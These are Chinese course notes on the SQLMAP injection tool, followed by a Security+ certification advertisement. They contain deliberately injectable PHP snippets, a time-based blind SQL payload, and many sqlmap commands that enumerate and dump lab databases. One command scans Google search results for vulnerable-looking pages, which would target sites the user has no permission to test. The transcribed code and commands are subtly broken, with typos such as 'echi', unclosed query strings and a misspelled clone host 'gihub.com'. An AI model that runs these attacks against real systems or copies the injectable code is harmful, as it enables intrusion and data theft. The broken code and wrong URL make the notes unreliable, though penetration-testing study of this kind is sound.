安全牛学习笔记SQLMAP- 自动注入
Posted
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了安全牛学习笔记SQLMAP- 自动注入相关的知识,希望对你有一定的参考价值。
课时92 SQLMAP- 自动注入
SQLMAP自动注入
开源sql注入漏洞检测、利用工具
检测动态页面中get/post参数、cookie、http头
数据榨取
文件系统访问
操作系统命令执行
引擎强大、特性丰富
Xss漏洞检测
------------------------------------------------------------------------------
低安全代码
<?php
if (isset($_GET['Submit'])){
// Retrieve data
$id = $_GET['id'];
$getid = "SELECT first_name,last_name FROM users WHERE user_id ='$id';
$result = mysql_query($getid);
$num = @mysql_numrows($result);
$i = 0;
while ($i < $num){
$first = mysql_result($result,$i,"first_name");
$last = mysql_result($result,$i,"last_name");
echo '<pre>';
echo 'ID: ' . $id . '<br>first_name: ' . $first . '<br>Surname: ' . $last;
echi '</pre>';
$i++;
}
}
?>
------------------------------------------------------------------------------
中安全代码
<?php
if (isset($_GET['Submit'])){
// Retrieve data
$id = $_GET['id'];
$id = mysql_real_escape_string($id);
$getid = "SELECT first_name,last_name FROM users WHERE user_id ='$id';
$result = mysql_query($getid); // Removed or die' to suppres mysql errors
$num = @mysql_numrows($result); // The '@' character supressed errors making the injection bling
$i = 0;
while ($i < $num){
$first = mysql_result($result,$i,"first_name");
$last = mysql_result($result,$i,"last_name");
echo '<pre>';
echo 'ID: ' . $id . '<br>first_name: ' . $first . '<br>Surname: ' . $last;
echi '</pre>';
$i++;
}
}
?>
-------------------------------------------------------------------------
高安全代码
<?php
if (isset($_GET['Submit'])){
// Retrieve data
$id = $_GET['id'];
$id = stripslashed($id);
$id = mysql_real_escape_string($id);
$getid = "SELECT first_name,last_name FROM users WHERE user_id ='$id';
$result = mysql_query($getid); // Removed or die' to suppres mysql errors
$num = @mysql_numrows($result); // The '@' character supressed errors making the injection bling
$i = 0;
while ($i < $num){
$first = mysql_result($result,$i,"first_name");
$last = mysql_result($result,$i,"last_name");
echo '<pre>';
echo 'ID: ' . $id . '<br>first_name: ' . $first . '<br>Surname: ' . $last;
echi '</pre>';
$i++;
}
}
?>
------------------------------------------------------------------------
SQLMAP自动注入
五种漏洞检测技术
基于布尔的盲注检测
基于时间的盲注检测
'and (select * from (select(sleep(20)))a)--+
基于错误的检测
基于UNION联合查询的检测
适用于通过循坏直接输出联合查询结果,否则只显示第一项结果
基于堆叠查询的检测
;堆叠多个查询语句
适用于非select的数据修改、删除的操作
支持的数据库管理系统DBMS
MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Access,IBM DB2,SQLite,
Firebird,Sybase,SAP MaxDB
SQLMAP自动注入
其他特性
数据库直接连接-d
不通过SQL注入,制定×××信息、IP、端口
与burpustie、google结合适用,支持政策表达式限定测试目标
Get、post、cookie、Referer、User-Agent(随机或指定)
Cookie过期后自动处理Set-Cookie头,更新cookie信息
限速:最大并发、延迟发送
支持Basic,Digest,NTLM,CA身份认证
数据库版本、用户、权限、hash枚举和字典破解、暴力破解表列名称
文件上传下载、UDF、启动并执行存储过程、操作系统命令执行、访问windows注册表
与w3af、metasploit集成结合适用,基于数据库服务进程提权和上传执行后门
SQLMAP自动注入
基于python2.7开发
安装
apt-get install git
git clone https://gihub.com/sqlmapproject/sqlmap.git sqlmap-dev
升级
sqlmap --update 在线
git pull 离线
Kali集成板随kali库更新
[email protected]:~# sqlmap --update
[email protected]:~# sqlmap --version //查看sqlmap版本
[email protected]:~# git clone https://gihub.com/sqlmapproject/sqlmap.git sqlmap-dev
SQLMAP自动注入
sqlmap -h / -hh
sqlmap -d "mysql://root:@192.168.20.10:3306/dvwa" -f -users
--banner --dbs --schema -a
sqlmap --version -v
日志
sqlmap
输出
输出内容详细度分7个等级
[email protected]:~# sqlmap -h
[email protected]:~# sqlmap -hh //所有的参数
SQLMAP自动注入
Get方法
sqlmap -u "http://192.168.20.10/muilldae/index.php?page=user-
info.php&username=11&password=22&user-info-php-submit-
button=View+Account+Details" -p username -f
扫描URL列表文件
http://1.1.1.1/vuln.php?q=foobar
http://1.1.1.1/vuln3/id/1*
sqlmap -m list.txt
扫描google搜索结果
sqlmap.py -g "inurl:\".php?id=1\""
[email protected]:~# sqlmap -u "http://192.168.20.10/muilldae/index.php?page=user-info.php&username=11&password=22&user-info-php-submit-button=View+Account+Details" -p username
文件保存到/root/.sqlmap/output
[email protected]:~# cd .sqlmap/
[email protected]:~/.sqlmap# ls
output
[email protected]:~/.sqlmap# cd output/
[email protected]:~/.sqlmap/output# ls
192.168.1.121
[email protected]:~/.sqlmap/output# cd 192.168.1.121
[email protected]:~/.sqlmap/output/192.168.1.121# ls
log session.sqlite target.txt
[email protected]:~/.sqlmap/output/192.168.1.121# more log
[email protected]:~/.sqlmap/output/192.168.1.121# more session.sqlite
[email protected]:~/.sqlmap/output/192.168.1.121# more target.txt
[email protected]:~# sqlmap -u "http://192.168.20.10/muilldae/index.php?page=user-info.php&username=11&password=22&user-info-php-submit-button=View+Account+Details" -p username --users
[email protected]:~# sqlmap -u "http://192.168.20.10/muilldae/index.php?page=user-info.php&username=11&password=22&user-info-php-submit-button=View+Account+Details" -p username --banner
[email protected]:~# sqlmap -u "http://192.168.20.10/muilldae/index.php?page=user-info.php&username=11&password=22&user-info-php-submit-button=View+Account+Details" -p username --schema
[email protected]:~# sqlmap -u "http://192.168.20.10/muilldae/index.php?page=user-info.php&username=11&password=22&user-info-php-submit-button=View+Account+Details" -p username --schema -a //所有
[email protected]:~# sqlmap -d "mysql://[email protected]:3306/dvwa" -f -users
[email protected]:~# sqlmap -d "mysql://[email protected]:3306/dvwa" -f -banner
[email protected]:~# sqlmap -d "mysql://[email protected]:3306/dvwa" -f -a
[email protected]:~# vi list
http://192.168.20.10/muilldae/index.php?page=user-info.php&username=11&password=22&user-info-php-submit-button=View+Account+Details
[email protected]:~# sqlmap -m list.txt --dbs
[email protected]:~# sqlmap -m list.txt --user
SQLMAP自动注入
POST方法
使用http请求文件(burpsuite)
sqlmap -r request.txt
使用burpsuite log文件
sqlmap -l log.txt
HTTPS
sqlmap -u "http://1.1.1.1/a.php?id=1:8843" --force-ssl
扫描配置文件
sqlmap -c sqlmap.conf
[email protected]:~# vi post
User-Agent: Mozilla/5.0 (x11; Linux x86_64; rv:43.0) Gecko/20100101 Firefox/43.0 Icweasel/43.0.4
Accept: text/htm,appliction/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accep-Encoding: gzip, deflate
Referer: http://192.168.1.121/murillidae/index.php?page=login.php
Cookie: PHPSESSID=558206c48166fc5523a87b591100fb3e
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 52
useranme=1&password=11&login-php-submin-button=login
[email protected]:~# sqlmap -r post.txt --dbs
[email protected]:~# dpkg -L sqlmap | grep sqlmap.com
/etc/sqlmap/sqlmap.conf
/usr/share/doc/sqlmap/examples/sqlmap.conf.gz
[email protected]:~# cat /etc/sqlmap/sqlmap.conf
该笔记为安全牛课堂学员笔记,想看此课程或者信息安全类干货可以移步到安全牛课堂
Security+认证为什么是互联网+时代最火爆的认证?
牛妹先给大家介绍一下Security+
Security+ 认证是一种中立第三方认证,其发证机构为美国计算机行业协会CompTIA ;是和CISSP、ITIL 等共同包含在内的国际 IT 业 10 大热门认证之一,和CISSP偏重信息安全管理相比,Security+ 认证更偏重信息安全技术和操作。
通过该认证证明了您具备网络安全,合规性和操作安全,威胁和漏洞,应用程序、数据和主机安全,访问控制和身份管理以及加密技术等方面的能力。因其考试难度不易,含金量较高,目前已被全球企业和安全专业人士所普遍采纳。
Security+认证如此火爆的原因?
原因一:在所有信息安全认证当中,偏重信息安全技术的认证是空白的, Security+认证正好可以弥补信息安全技术领域的空白 。
目前行业内受认可的信息安全认证主要有CISP和CISSP,但是无论CISP还是CISSP都是偏重信息安全管理的,技术知识讲的宽泛且浅显,考试都是一带而过。而且CISSP要求持证人员的信息安全工作经验都要5年以上,CISP也要求大专学历4年以上工作经验,这些要求无疑把有能力且上进的年轻人的持证之路堵住。在现实社会中,无论是找工作还是升职加薪,或是投标时候报人员,认证都是必不可少的,这给年轻人带来了很多不公平。而Security+的出现可以扫清这些年轻人职业发展中的障碍,由于Security+偏重信息安全技术,所以对工作经验没有特别的要求。只要你有IT相关背景,追求进步就可以学习和考试。
原因二: IT运维人员工作与翻身的利器。
在银行、证券、保险、信息通讯等行业,IT运维人员非常多,IT运维涉及的工作面也非常广。是一个集网络、系统、安全、应用架构、存储为一体的综合性技术岗。虽然没有程序猿们“生当做光棍,死亦写代码”的悲壮,但也有着“锄禾日当午,不如运维苦“的感慨。天天对着电脑和机器,时间长了难免有对于职业发展的迷茫和困惑。Security+国际认证的出现可以让有追求的IT运维人员学习网络安全知识,掌握网络安全实践。职业发展朝着网络安全的方向发展,解决国内信息安全人才的匮乏问题。另外,即使不转型,要做好运维工作,学习安全知识取得安全认证也是必不可少的。
原因三:接地气、国际范儿、考试方便、费用适中!
CompTIA作为全球ICT领域最具影响力的全球领先机构,在信息安全人才认证方面是专业、公平、公正的。Security+认证偏重操作且和一线工程师的日常工作息息相关。适合银行、证券、保险、互联网公司等IT相关人员学习。作为国际认证在全球147个国家受到广泛的认可。
在目前的信息安全大潮之下,人才是信息安全发展的关键。而目前国内的信息安全人才是非常匮乏的,相信Security+认证一定会成为最火爆的信息安全认证。
以上是关于安全牛学习笔记SQLMAP- 自动注入的主要内容,如果未能解决你的问题,请参考以下文章
安全牛学习笔记SQLMAP自动注入-INHECTIONDETECTIONTECHNIQUES